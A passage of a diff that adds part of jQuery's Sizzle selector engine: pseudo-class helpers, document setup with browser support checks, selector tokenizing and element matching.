"fieldset" ); + + try { + return !!fn( el ); + } catch ( e ) { + return false; + } finally { + + // Remove from its parent by default + if ( el.parentNode ) { + el.parentNode.removeChild( el ); + } + + // release memory in IE + el = null; + } +} + +/** + * Returns a function to use in pseudos for input types + * @param {String} type + */ +function createInputPseudo( type ) { + return function( elem ) { + return nodeName( elem, "input" ) && elem.type === type; + }; +} + +/** + * Returns a function to use in pseudos for buttons + * @param {String} type + */ +function createButtonPseudo( type ) { + return function( elem ) { + return ( nodeName( elem, "input" ) || nodeName( elem, "button" ) ) && + elem.type === type; + }; +} + +/** + * Returns a function to use in pseudos for :enabled/:disabled + * @param {Boolean} disabled true for :disabled; false for :enabled + */ +function createDisabledPseudo( disabled ) { + + // Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable + return function( elem ) { + + // Only certain elements can match :enabled or :disabled + // https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled + // https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled + if ( "form" in elem ) { + + // Check for inherited disabledness on relevant non-disabled elements: + // * listed form-associated elements in a disabled fieldset + // https://html.spec.whatwg.org/multipage/forms.html#category-listed + // https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled + // * option elements in a disabled optgroup + // https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled + // All such elements have a "form" property. + if ( elem.parentNode && elem.disabled === false ) { + + // Option elements defer to a parent optgroup if present + if ( "label" in elem ) { + if ( "label" in elem.parentNode ) { + return elem.parentNode.disabled === disabled; + } else { + return elem.disabled === disabled; + } + } + + // Support: IE 6 - 11+ + // Use the isDisabled shortcut property to check for disabled fieldset ancestors + return elem.isDisabled === disabled || + + // Where there is no isDisabled, check manually + elem.isDisabled !== !disabled && + inDisabledFieldset( elem ) === disabled; + } + + return elem.disabled === disabled; + + // Try to winnow out elements that can't be disabled before trusting the disabled property. + // Some victims get caught in our net (label, legend, menu, track), but it shouldn't + // even exist on them, let alone have a boolean value. + } else if ( "label" in elem ) { + return elem.disabled === disabled; + } + + // Remaining elements are neither :enabled nor :disabled + return false; + }; +} + +/** + * Returns a function to use in pseudos for positionals + * @param {Function} fn + */ +function createPositionalPseudo( fn ) { + return markFunction( function( argument ) { + argument = +argument; + return markFunction( function( seed, matches ) { + var j, + matchIndexes = fn( [], seed.length, argument ), + i = matchIndexes.length; + + // Match elements found at the specified indexes + while ( i-- ) { + if ( seed[ ( j = matchIndexes[ i ] ) ] ) { + seed[ j ] = !( matches[ j ] = seed[ j ] ); + } + } + } ); + } ); +} + +/** + * Checks a node for validity as a jQuery selector context + * @param {Element|Object=} context + * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value + */ +function testContext( context ) { + return context && typeof context.getElementsByTagName !== "undefined" && context; +} + +/** + * Sets document-related variables once based on the current document + * @param {Element|Object} [node] An element or document object to use to set the document + * @returns {Object} Returns the current document + */ +function setDocument( node ) { + var subWindow, + doc = node ? node.ownerDocument || node : preferredDoc; + + // Return early if doc is invalid or already selected + // Support: IE 11+, Edge 17 - 18+ + // IE/Edge sometimes throw a "Permission denied" error when strict-comparing + // two documents; shallow comparisons work. + // eslint-disable-next-line eqeqeq + if ( doc == document || doc.nodeType !== 9 || !doc.documentElement ) { + return document; + } + + // Update global variables + document = doc; + documentElement = document.documentElement; + documentIsHTML = !jQuery.isXMLDoc( document ); + + // Support: iOS 7 only, IE 9 - 11+ + // Older browsers didn't support unprefixed `matches`. + matches = documentElement.matches || + documentElement.webkitMatchesSelector || + documentElement.msMatchesSelector; + + // Support: IE 9 - 11+, Edge 12 - 18+ + // Accessing iframe documents after unload throws "permission denied" errors + // (see trac-13936). + // Limit the fix to IE & Edge Legacy; despite Edge 15+ implementing `matches`, + // all IE 9+ and Edge Legacy versions implement `msMatchesSelector` as well. + if ( documentElement.msMatchesSelector && + + // Support: IE 11+, Edge 17 - 18+ + // IE/Edge sometimes throw a "Permission denied" error when strict-comparing + // two documents; shallow comparisons work. + // eslint-disable-next-line eqeqeq + preferredDoc != document && + ( subWindow = document.defaultView ) && subWindow.top !== subWindow ) { + + // Support: IE 9 - 11+, Edge 12 - 18+ + subWindow.addEventListener( "unload", unloadHandler ); + } + + // Support: IE <10 + // Check if getElementById returns elements by name + // The broken getElementById methods don't pick up programmatically-set names, + // so use a roundabout getElementsByName test + support.getById = assert( function( el ) { + documentElement.appendChild( el ).id = jQuery.expando; + return !document.getElementsByName || + !document.getElementsByName( jQuery.expando ).length; + } ); + + // Support: IE 9 only + // Check to see if it's possible to do matchesSelector + // on a disconnected node. + support.disconnectedMatch = assert( function( el ) { + return matches.call( el, "*" ); + } ); + + // Support: IE 9 - 11+, Edge 12 - 18+ + // IE/Edge don't support the :scope pseudo-class. + support.scope = assert( function() { + return document.querySelectorAll( ":scope" ); + } ); + + // Support: Chrome 105 - 111 only, Safari 15.4 - 16.3 only + // Make sure the `:has()` argument is parsed unforgivingly. + // We include `*` in the test to detect buggy implementations that are + // _selectively_ forgiving (specifically when the list includes at least + // one valid selector). + // Note that we treat complete lack of support for `:has()` as if it were + // spec-compliant support, which is fine because use of `:has()` in such + // environments will fail in the qSA path and fall back to jQuery traversal + // anyway. + support.cssHas = assert( function() { + try { + document.querySelector( ":has(*,:jqfake)" ); + return false; + } catch ( e ) { + return true; + } + } ); + + // ID filter and find + if ( support.getById ) { + Expr.filter.ID = function( id ) { + var attrId = id.replace( runescape, funescape ); + return function( elem ) { + return elem.getAttribute( "id" ) === attrId; + }; + }; + Expr.find.ID = function( id, context ) { + if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { + var elem = context.getElementById( id ); + return elem ? [ elem ] : []; + } + }; + } else { + Expr.filter.ID = function( id ) { + var attrId = id.replace( runescape, funescape ); + return function( elem ) { + var node = typeof elem.getAttributeNode !== "undefined" && + elem.getAttributeNode( "id" ); + return node && node.value === attrId; + }; + }; + + // Support: IE 6 - 7 only + // getElementById is not reliable as a find shortcut + Expr.find.ID = function( id, context ) { + if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { + var node, i, elems, + elem = context.getElementById( id ); + + if ( elem ) { + + // Verify the id attribute + node = elem.getAttributeNode( "id" ); + if ( node && node.value === id ) { + return [ elem ]; + } + + // Fall back on getElementsByName + elems = context.getElementsByName( id ); + i = 0; + while ( ( elem = elems[ i++ ] ) ) { + node = elem.getAttributeNode( "id" ); + if ( node && node.value === id ) { + return [ elem ]; + } + } + } + + return []; + } + }; + } + + // Tag + Expr.find.TAG = function( tag, context ) { + if ( typeof context.getElementsByTagName !== "undefined" ) { + return context.getElementsByTagName( tag ); + + // DocumentFragment nodes don't have gEBTN + } else { + return context.querySelectorAll( tag ); + } + }; + + // Class + Expr.find.CLASS = function( className, context ) { + if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) { + return context.getElementsByClassName( className ); + } + }; + + /* QSA/matchesSelector + ---------------------------------------------------------------------- */ + + // QSA and matchesSelector support + + rbuggyQSA = []; + + // Build QSA regex + // Regex strategy adopted from Diego Perini + assert( function( el ) { + + var input; + + documentElement.appendChild( el ).innerHTML = + "" + + ""; + + // Support: iOS <=7 - 8 only + // Boolean attributes and "value" are not treated correctly in some XML documents + if ( !el.querySelectorAll( "[selected]" ).length ) { + rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" ); + } + + // Support: iOS <=7 - 8 only + if ( !el.querySelectorAll( "[id~=" + expando + "-]" ).length ) { + rbuggyQSA.push( "~=" ); + } + + // Support: iOS 8 only + // https://bugs.webkit.org/show_bug.cgi?id=136851 + // In-page `selector#id sibling-combinator selector` fails + if ( !el.querySelectorAll( "a#" + expando + "+*" ).length ) { + rbuggyQSA.push( ".#.+[+~]" ); + } + + // Support: Chrome <=105+, Firefox <=104+, Safari <=15.4+ + // In some of the document kinds, these selectors wouldn't work natively. + // This is probably OK but for backwards compatibility we want to maintain + // handling them through jQuery traversal in jQuery 3.x. + if ( !el.querySelectorAll( ":checked" ).length ) { + rbuggyQSA.push( ":checked" ); + } + + // Support: Windows 8 Native Apps + // The type and name attributes are restricted during .innerHTML assignment + input = document.createElement( "input" ); + input.setAttribute( "type", "hidden" ); + el.appendChild( input ).setAttribute( "name", "D" ); + + // Support: IE 9 - 11+ + // IE's :disabled selector does not pick up the children of disabled fieldsets + // Support: Chrome <=105+, Firefox <=104+, Safari <=15.4+ + // In some of the document kinds, these selectors wouldn't work natively. + // This is probably OK but for backwards compatibility we want to maintain + // handling them through jQuery traversal in jQuery 3.x. + documentElement.appendChild( el ).disabled = true; + if ( el.querySelectorAll( ":disabled" ).length !== 2 ) { + rbuggyQSA.push( ":enabled", ":disabled" ); + } + + // Support: IE 11+, Edge 15 - 18+ + // IE 11/Edge don't find elements on a `[name='']` query in some cases. + // Adding a temporary attribute to the document before the selection works + // around the issue. + // Interestingly, IE 10 & older don't seem to have the issue. + input = document.createElement( "input" ); + input.setAttribute( "name", "" ); + el.appendChild( input ); + if ( !el.querySelectorAll( "[name='']" ).length ) { + rbuggyQSA.push( "\\[" + whitespace + "*name" + whitespace + "*=" + + whitespace + "*(?:''|\"\")" ); + } + } ); + + if ( !support.cssHas ) { + + // Support: Chrome 105 - 110+, Safari 15.4 - 16.3+ + // Our regular `try-catch` mechanism fails to detect natively-unsupported + // pseudo-classes inside `:has()` (such as `:has(:contains("Foo"))`) + // in browsers that parse the `:has()` argument as a forgiving selector list. + // https://drafts.csswg.org/selectors/#relational now requires the argument + // to be parsed unforgivingly, but browsers have not yet fully adjusted. + rbuggyQSA.push( ":has" ); + } + + rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join( "|" ) ); + + /* Sorting + ---------------------------------------------------------------------- */ + + // Document order sorting + sortOrder = function( a, b ) { + + // Flag for duplicate removal + if ( a === b ) { + hasDuplicate = true; + return 0; + } + + // Sort on method existence if only one input has compareDocumentPosition + var compare = !a.compareDocumentPosition - !b.compareDocumentPosition; + if ( compare ) { + return compare; + } + + // Calculate position if both inputs belong to the same document + // Support: IE 11+, Edge 17 - 18+ + // IE/Edge sometimes throw a "Permission denied" error when strict-comparing + // two documents; shallow comparisons work. + // eslint-disable-next-line eqeqeq + compare = ( a.ownerDocument || a ) == ( b.ownerDocument || b ) ? + a.compareDocumentPosition( b ) : + + // Otherwise we know they are disconnected + 1; + + // Disconnected nodes + if ( compare & 1 || + ( !support.sortDetached && b.compareDocumentPosition( a ) === compare ) ) { + + // Choose the first element that is related to our preferred document + // Support: IE 11+, Edge 17 - 18+ + // IE/Edge sometimes throw a "Permission denied" error when strict-comparing + // two documents; shallow comparisons work. + // eslint-disable-next-line eqeqeq + if ( a === document || a.ownerDocument == preferredDoc && + find.contains( preferredDoc, a ) ) { + return -1; + } + + // Support: IE 11+, Edge 17 - 18+ + // IE/Edge sometimes throw a "Permission denied" error when strict-comparing + // two documents; shallow comparisons work. + // eslint-disable-next-line eqeqeq + if ( b === document || b.ownerDocument == preferredDoc && + find.contains( preferredDoc, b ) ) { + return 1; + } + + // Maintain original order + return sortInput ? + ( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) : + 0; + } + + return compare & 4 ? -1 : 1; + }; + + return document; +} + +find.matches = function( expr, elements ) { + return find( expr, null, null, elements ); +}; + +find.matchesSelector = function( elem, expr ) { + setDocument( elem ); + + if ( documentIsHTML && + !nonnativeSelectorCache[ expr + " " ] && + ( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) { + + try { + var ret = matches.call( elem, expr ); + + // IE 9's matchesSelector returns false on disconnected nodes + if ( ret || support.disconnectedMatch || + + // As well, disconnected nodes are said to be in a document + // fragment in IE 9 + elem.document && elem.document.nodeType !== 11 ) { + return ret; + } + } catch ( e ) { + nonnativeSelectorCache( expr, true ); + } + } + + return find( expr, document, null, [ elem ] ).length > 0; +}; + +find.contains = function( context, elem ) { + + // Set document vars if needed + // Support: IE 11+, Edge 17 - 18+ + // IE/Edge sometimes throw a "Permission denied" error when strict-comparing + // two documents; shallow comparisons work. + // eslint-disable-next-line eqeqeq + if ( ( context.ownerDocument || context ) != document ) { + setDocument( context ); + } + return jQuery.contains( context, elem ); +}; + + +find.attr = function( elem, name ) { + + // Set document vars if needed + // Support: IE 11+, Edge 17 - 18+ + // IE/Edge sometimes throw a "Permission denied" error when strict-comparing + // two documents; shallow comparisons work. + // eslint-disable-next-line eqeqeq + if ( ( elem.ownerDocument || elem ) != document ) { + setDocument( elem ); + } + + var fn = Expr.attrHandle[ name.toLowerCase() ], + + // Don't get fooled by Object.prototype properties (see trac-13807) + val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ? + fn( elem, name, !documentIsHTML ) : + undefined; + + if ( val !== undefined ) { + return val; + } + + return elem.getAttribute( name ); +}; + +find.error = function( msg ) { + throw new Error( "Syntax error, unrecognized expression: " + msg ); +}; + +/** + * Document sorting and removing duplicates + * @param {ArrayLike} results + */ +jQuery.uniqueSort = function( results ) { + var elem, + duplicates = [], + j = 0, + i = 0; + + // Unless we *know* we can detect duplicates, assume their presence + // + // Support: Android <=4.0+ + // Testing for detecting duplicates is unpredictable so instead assume we can't + // depend on duplicate detection in all browsers without a stable sort. + hasDuplicate = !support.sortStable; + sortInput = !support.sortStable && slice.call( results, 0 ); + sort.call( results, sortOrder ); + + if ( hasDuplicate ) { + while ( ( elem = results[ i++ ] ) ) { + if ( elem === results[ i ] ) { + j = duplicates.push( i ); + } + } + while ( j-- ) { + splice.call( results, duplicates[ j ], 1 ); + } + } + + // Clear input after sorting to release objects + // See https://github.com/jquery/sizzle/pull/225 + sortInput = null; + + return results; +}; + +jQuery.fn.uniqueSort = function() { + return this.pushStack( jQuery.uniqueSort( slice.apply( this ) ) ); +}; + +Expr = jQuery.expr = { + + // Can be adjusted by the user + cacheLength: 50, + + createPseudo: markFunction, + + match: matchExpr, + + attrHandle: {}, + + find: {}, + + relative: { + ">": { dir: "parentNode", first: true }, + " ": { dir: "parentNode" }, + "+": { dir: "previousSibling", first: true }, + "~": { dir: "previousSibling" } + }, + + preFilter: { + ATTR: function( match ) { + match[ 1 ] = match[ 1 ].replace( runescape, funescape ); + + // Move the given value to match[3] whether quoted or unquoted + match[ 3 ] = ( match[ 3 ] || match[ 4 ] || match[ 5 ] || "" ) + .replace( runescape, funescape ); + + if ( match[ 2 ] === "~=" ) { + match[ 3 ] = " " + match[ 3 ] + " "; + } + + return match.slice( 0, 4 ); + }, + + CHILD: function( match ) { + + /* matches from matchExpr["CHILD"] + 1 type (only|nth|...) + 2 what (child|of-type) + 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...) + 4 xn-component of xn+y argument ([+-]?\d*n|) + 5 sign of xn-component + 6 x of xn-component + 7 sign of y-component + 8 y of y-component + */ + match[ 1 ] = match[ 1 ].toLowerCase(); + + if ( match[ 1 ].slice( 0, 3 ) === "nth" ) { + + // nth-* requires argument + if ( !match[ 3 ] ) { + find.error( match[ 0 ] ); + } + + // numeric x and y parameters for Expr.filter.CHILD + // remember that false/true cast respectively to 0/1 + match[ 4 ] = +( match[ 4 ] ? + match[ 5 ] + ( match[ 6 ] || 1 ) : + 2 * ( match[ 3 ] === "even" || match[ 3 ] === "odd" ) + ); + match[ 5 ] = +( ( match[ 7 ] + match[ 8 ] ) || match[ 3 ] === "odd" ); + + // other types prohibit arguments + } else if ( match[ 3 ] ) { + find.error( match[ 0 ] ); + } + + return match; + }, + + PSEUDO: function( match ) { + var excess, + unquoted = !match[ 6 ] && match[ 2 ]; + + if ( matchExpr.CHILD.test( match[ 0 ] ) ) { + return null; + } + + // Accept quoted arguments as-is + if ( match[ 3 ] ) { + match[ 2 ] = match[ 4 ] || match[ 5 ] || ""; + + // Strip excess characters from unquoted arguments + } else if ( unquoted && rpseudo.test( unquoted ) && + + // Get excess from tokenize (recursively) + ( excess = tokenize( unquoted, true ) ) && + + // advance to the next closing parenthesis + ( excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length ) ) { + + // excess is a negative index + match[ 0 ] = match[ 0 ].slice( 0, excess ); + match[ 2 ] = unquoted.slice( 0, excess ); + } + + // Return only captures needed by the pseudo filter method (type and argument) + return match.slice( 0, 3 ); + } + }, + + filter: { + + TAG: function( nodeNameSelector ) { + var expectedNodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase(); + return nodeNameSelector === "*" ? + function() { + return true; + } : + function( elem ) { + return nodeName( elem, expectedNodeName ); + }; + }, + + CLASS: function( className ) { + var pattern = classCache[ className + " " ]; + + return pattern || + ( pattern = new RegExp( "(^|" + whitespace + ")" + className + + "(" + whitespace + "|$)" ) ) && + classCache( className, function( elem ) { + return pattern.test( + typeof elem.className === "string" && elem.className || + typeof elem.getAttribute !== "undefined" && + elem.getAttribute( "class" ) || + "" + ); + } ); + }, + + ATTR: function( name, operator, check ) { + return function( elem ) { + var result = find.attr( elem, name ); + + if ( result == null ) { + return operator === "!="; + } + if ( !operator ) { + return true; + } + + result += ""; + + if ( operator === "=" ) { + return result === check; + } + if ( operator === "!=" ) { + return result !== check; + } + if ( operator === "^=" ) { + return check && result.indexOf( check ) === 0; + } + if ( operator === "*=" ) { + return check && result.indexOf( check ) > -1; + } + if ( operator === "$=" ) { + return check && result.slice( -check.length ) === check; + } + if ( operator === "~=" ) { + return ( " " + result.replace( rwhitespace, " " ) + " " ) + .indexOf( check ) > -1; + } + if ( operator === "|=" ) { + return result === check || result.slice( 0, check.length + 1 ) === check + "-"; + } + + return false; + }; + }, + + CHILD: function( type, what, _argument, first, last ) { + var simple = type.slice( 0, 3 ) !== "nth", + forward = type.slice( -4 ) !== "last", + ofType = what === "of-type"; + + return first === 1 && last === 0 ? + + // Shortcut for :nth-*(n) + function( elem ) { + return !!elem.parentNode; + } : + + function( elem, _context, xml ) { + var cache, outerCache, node, nodeIndex, start, + dir = simple !== forward ? "nextSibling" : "previousSibling", + parent = elem.parentNode, + name = ofType && elem.nodeName.toLowerCase(), + useCache = !xml && !ofType, + diff = false; + + if ( parent ) { + + // :(first|last|only)-(child|of-type) + if ( simple ) { + while ( dir ) { + node = elem; + while ( ( node = node[ dir ] ) ) { + if ( ofType ? + nodeName( node, name ) : + node.nodeType === 1 ) { + + return false; + } + } + + // Reverse direction for :only-* (if we haven't yet done so) + start = dir = type === "only" && !start && "nextSibling"; + } + return true; + } + + start = [ forward ? parent.firstChild : parent.lastChild ]; + + // non-xml :nth-child(...) stores cache data on `parent` + if ( forward && useCache ) { + + // Seek `elem` from a previously-cached index + outerCache = parent[ expando ] || ( parent[ expando ] = {} ); + cache = outerCache[ type ] || []; + nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; + diff = nodeIndex && cache[ 2 ]; + node = nodeIndex && parent.childNodes[ nodeIndex ]; + + while ( ( node = ++nodeIndex && node && node[ dir ] || + + // Fallback to seeking `elem` from the start + ( diff = nodeIndex = 0 ) || start.pop() ) ) { + + // When found, cache indexes on `parent` and break + if ( node.nodeType === 1 && ++diff && node === elem ) { + outerCache[ type ] = [ dirruns, nodeIndex, diff ]; + break; + } + } + + } else { + + // Use previously-cached element index if available + if ( useCache ) { + outerCache = elem[ expando ] || ( elem[ expando ] = {} ); + cache = outerCache[ type ] || []; + nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; + diff = nodeIndex; + } + + // xml :nth-child(...) + // or :nth-last-child(...) or :nth(-last)?-of-type(...) + if ( diff === false ) { + + // Use the same loop as above to seek `elem` from the start + while ( ( node = ++nodeIndex && node && node[ dir ] || + ( diff = nodeIndex = 0 ) || start.pop() ) ) { + + if ( ( ofType ? + nodeName( node, name ) : + node.nodeType === 1 ) && + ++diff ) { + + // Cache the index of each encountered element + if ( useCache ) { + outerCache = node[ expando ] || + ( node[ expando ] = {} ); + outerCache[ type ] = [ dirruns, diff ]; + } + + if ( node === elem ) { + break; + } + } + } + } + } + + // Incorporate the offset, then check against cycle size + diff -= last; + return diff === first || ( diff % first === 0 && diff / first >= 0 ); + } + }; + }, + + PSEUDO: function( pseudo, argument ) { + + // pseudo-class names are case-insensitive + // https://www.w3.org/TR/selectors/#pseudo-classes + // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters + // Remember that setFilters inherits from pseudos + var args, + fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] || + find.error( "unsupported pseudo: " + pseudo ); + + // The user may use createPseudo to indicate that + // arguments are needed to create the filter function + // just as jQuery does + if ( fn[ expando ] ) { + return fn( argument ); + } + + // But maintain support for old signatures + if ( fn.length > 1 ) { + args = [ pseudo, pseudo, "", argument ]; + return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ? + markFunction( function( seed, matches ) { + var idx, + matched = fn( seed, argument ), + i = matched.length; + while ( i-- ) { + idx = indexOf.call( seed, matched[ i ] ); + seed[ idx ] = !( matches[ idx ] = matched[ i ] ); + } + } ) : + function( elem ) { + return fn( elem, 0, args ); + }; + } + + return fn; + } + }, + + pseudos: { + + // Potentially complex pseudos + not: markFunction( function( selector ) { + + // Trim the selector passed to compile + // to avoid treating leading and trailing + // spaces as combinators + var input = [], + results = [], + matcher = compile( selector.replace( rtrimCSS, "$1" ) ); + + return matcher[ expando ] ? + markFunction( function( seed, matches, _context, xml ) { + var elem, + unmatched = matcher( seed, null, xml, [] ), + i = seed.length; + + // Match elements unmatched by `matcher` + while ( i-- ) { + if ( ( elem = unmatched[ i ] ) ) { + seed[ i ] = !( matches[ i ] = elem ); + } + } + } ) : + function( elem, _context, xml ) { + input[ 0 ] = elem; + matcher( input, null, xml, results ); + + // Don't keep the element + // (see https://github.com/jquery/sizzle/issues/299) + input[ 0 ] = null; + return !results.pop(); + }; + } ), + + has: markFunction( function( selector ) { + return function( elem ) { + return find( selector, elem ).length > 0; + }; + } ), + + contains: markFunction( function( text ) { + text = text.replace( runescape, funescape ); + return function( elem ) { + return ( elem.textContent || jQuery.text( elem ) ).indexOf( text ) > -1; + }; + } ), + + // "Whether an element is represented by a :lang() selector + // is based solely on the element's language value + // being equal to the identifier C, + // or beginning with the identifier C immediately followed by "-". + // The matching of C against the element's language value is performed case-insensitively. + // The identifier C does not have to be a valid language name." + // https://www.w3.org/TR/selectors/#lang-pseudo + lang: markFunction( function( lang ) { + + // lang value must be a valid identifier + if ( !ridentifier.test( lang || "" ) ) { + find.error( "unsupported lang: " + lang ); + } + lang = lang.replace( runescape, funescape ).toLowerCase(); + return function( elem ) { + var elemLang; + do { + if ( ( elemLang = documentIsHTML ? + elem.lang : + elem.getAttribute( "xml:lang" ) || elem.getAttribute( "lang" ) ) ) { + + elemLang = elemLang.toLowerCase(); + return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0; + } + } while ( ( elem = elem.parentNode ) && elem.nodeType === 1 ); + return false; + }; + } ), + + // Miscellaneous + target: function( elem ) { + var hash = window.location && window.location.hash; + return hash && hash.slice( 1 ) === elem.id; + }, + + root: function( elem ) { + return elem === documentElement; + }, + + focus: function( elem ) { + return elem === safeActiveElement() && + document.hasFocus() && + !!( elem.type || elem.href || ~elem.tabIndex ); + }, + + // Boolean properties + enabled: createDisabledPseudo( false ), + disabled: createDisabledPseudo( true ), + + checked: function( elem ) { + + // In CSS3, :checked should return both checked and selected elements + // https://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked + return ( nodeName( elem, "input" ) && !!elem.checked ) || + ( nodeName( elem, "option" ) && !!elem.selected ); + }, + + selected: function( elem ) { + + // Support: IE <=11+ + // Accessing the selectedIndex property + // forces the browser to treat the default option as + // selected when in an optgroup. + if ( elem.parentNode ) { + // eslint-disable-next-line no-unused-expressions + elem.parentNode.selectedIndex; + } + + return elem.selected === true; + }, + + // Contents + empty: function( elem ) { + + // https://www.w3.org/TR/selectors/#empty-pseudo + // :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5), + // but not by others (comment: 8; processing instruction: 7; etc.) + // nodeType < 6 works because attributes (2) do not appear as children + for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { + if ( elem.nodeType < 6 ) { + return false; + } + } + return true; + }, + + parent: function( elem ) { + return !Expr.pseudos.empty( elem ); + }, + + // Element/input types + header: function( elem ) { + return rheader.test( elem.nodeName ); + }, + + input: function( elem ) { + return rinputs.test( elem.nodeName ); + }, + + button: function( elem ) { + return nodeName( elem, "input" ) && elem.type === "button" || + nodeName( elem, "button" ); + }, + + text: function( elem ) { + var attr; + return nodeName( elem, "input" ) && elem.type === "text" && + + // Support: IE <10 only + // New HTML5 attribute values (e.g., "search") appear + // with elem.type === "text" + ( ( attr = elem.getAttribute( "type" ) ) == null || + attr.toLowerCase() === "text" ); + }, + + // Position-in-collection + first: createPositionalPseudo( function() { + return [ 0 ]; + } ), + + last: createPositionalPseudo( function( _matchIndexes, length ) { + return [ length - 1 ]; + } ), + + eq: createPositionalPseudo( function( _matchIndexes, length, argument ) { + return [ argument < 0 ? argument + length : argument ]; + } ), + + even: createPositionalPseudo( function( matchIndexes, length ) { + var i = 0; + for ( ; i < length; i += 2 ) { + matchIndexes.push( i ); + } + return matchIndexes; + } ), + + odd: createPositionalPseudo( function( matchIndexes, length ) { + var i = 1; + for ( ; i < length; i += 2 ) { + matchIndexes.push( i ); + } + return matchIndexes; + } ), + + lt: createPositionalPseudo( function( matchIndexes, length, argument ) { + var i; + + if ( argument < 0 ) { + i = argument + length; + } else if ( argument > length ) { + i = length; + } else { + i = argument; + } + + for ( ; --i >= 0; ) { + matchIndexes.push( i ); + } + return matchIndexes; + } ), + + gt: createPositionalPseudo( function( matchIndexes, length, argument ) { + var i = argument < 0 ? argument + length : argument; + for ( ; ++i < length; ) { + matchIndexes.push( i ); + } + return matchIndexes; + } ) + } +}; + +Expr.pseudos.nth = Expr.pseudos.eq; + +// Add button/input type pseudos +for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) { + Expr.pseudos[ i ] = createInputPseudo( i ); +} +for ( i in { submit: true, reset: true } ) { + Expr.pseudos[ i ] = createButtonPseudo( i ); +} + +// Easy API for creating new setFilters +function setFilters() {} +setFilters.prototype = Expr.filters = Expr.pseudos; +Expr.setFilters = new setFilters(); + +function tokenize( selector, parseOnly ) { + var matched, match, tokens, type, + soFar, groups, preFilters, + cached = tokenCache[ selector + " " ]; + + if ( cached ) { + return parseOnly ? 0 : cached.slice( 0 ); + } + + soFar = selector; + groups = []; + preFilters = Expr.preFilter; + + while ( soFar ) { + + // Comma and first run + if ( !matched || ( match = rcomma.exec( soFar ) ) ) { + if ( match ) { + + // Don't consume trailing commas as valid + soFar = soFar.slice( match[ 0 ].length ) || soFar; + } + groups.push( ( tokens = [] ) ); + } + + matched = false; + + // Combinators + if ( ( match = rleadingCombinator.exec( soFar ) ) ) { + matched = match.shift(); + tokens.push( { + value: matched, + + // Cast descendant combinators to space + type: match[ 0 ].replace( rtrimCSS, " " ) + } ); + soFar = soFar.slice( matched.length ); + } + + // Filters + for ( type in Expr.filter ) { + if ( ( match = matchExpr[ type ].exec( soFar ) ) && ( !preFilters[ type ] || + ( match = preFilters[ type ]( match ) ) ) ) { + matched = match.shift(); + tokens.push( { + value: matched, + type: type, + matches: match + } ); + soFar = soFar.slice( matched.length ); + } + } + + if ( !matched ) { + break; + } + } + + // Return the length of the invalid excess + // if we're just parsing + // Otherwise, throw an error or return tokens + if ( parseOnly ) { + return soFar.length; + } + + return soFar ? + find.error( selector ) : + + // Cache the tokens + tokenCache( selector, groups ).slice( 0 ); +} + +function toSelector( tokens ) { + var i = 0, + len = tokens.length, + selector = ""; + for ( ; i < len; i++ ) { + selector += tokens[ i ].value; + } + return selector; +} + +function addCombinator( matcher, combinator, base ) { + var dir = combinator.dir, + skip = combinator.next, + key = skip || dir, + checkNonElements = base && key === "parentNode", + doneName = done++; + + return combinator.first ? + + // Check against closest ancestor/preceding element + function( elem, context, xml ) { + while ( ( elem = elem[ dir ] ) ) { + if ( elem.nodeType === 1 || checkNonElements ) { + return matcher( elem, context, xml ); + } + } + return false; + } : + + // Check against all ancestor/preceding elements + function( elem, context, xml ) { + var oldCache, outerCache, + newCache = [ dirruns, doneName ]; + + // We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching + if ( xml ) { + while ( ( elem = elem[ dir ] ) ) { + if ( elem.nodeType === 1 || checkNonElements ) { + if ( matcher( elem, context, xml ) ) { + return true; + } + } + } + } else { + while ( ( elem = elem[ dir ] ) ) { + if ( elem.nodeType === 1 || checkNonElements ) { + outerCache = elem[ expando ] || ( elem[ expando ] = {} ); + + if ( skip && nodeName( elem, skip ) ) { + elem = elem[ dir ] || elem; + } else if ( ( oldCache = outerCache[ key ] ) && + oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) { + + // Assign to newCache so results back-propagate to previous elements + return ( newCache[ 2 ] = oldCache[ 2 ] ); + } else { + + // Reuse newcache so results back-propagate to previous elements + outerCache[ key ] = newCache; + + // A match means we're done; a fail means we have to keep checking + if ( ( newCache[ 2 ] = matcher( elem, context, xml ) ) ) { + return true; + } + } + } + } + } + return false; + }; +} + +function elementMatcher( matchers ) { + return matchers.length > 1 ? + function( elem, context, xml ) { + var i = matchers.length; + while ( i-- ) { + if ( !matchers[ i ]( elem, context, xml ) ) { + return false; + } + } + return true; + } : + matchers[ 0 ]; +} + +function multipleContexts( selector, contexts, results ) { + var i = 0, + len = contexts.length; + for ( ; i < len; i++ ) { + find( selector, contexts[ i ], results ); + } + return results; +} + +function condense( unmatched, map, filter, context, xml ) { + var elem, + newUnmatched = [], + i = 0, + len = unmatched.length, + mapped = map != null; + + for ( ; i < len; i++ ) { + if ( ( elem = unmatched[ i ] ) ) { + if ( !filter || filter( elem, context, xml ) ) { + newUnmatched.push( elem ); + if ( mapped ) { + map.push( i ); + } + } + } + } + + return newUnmatched; +} 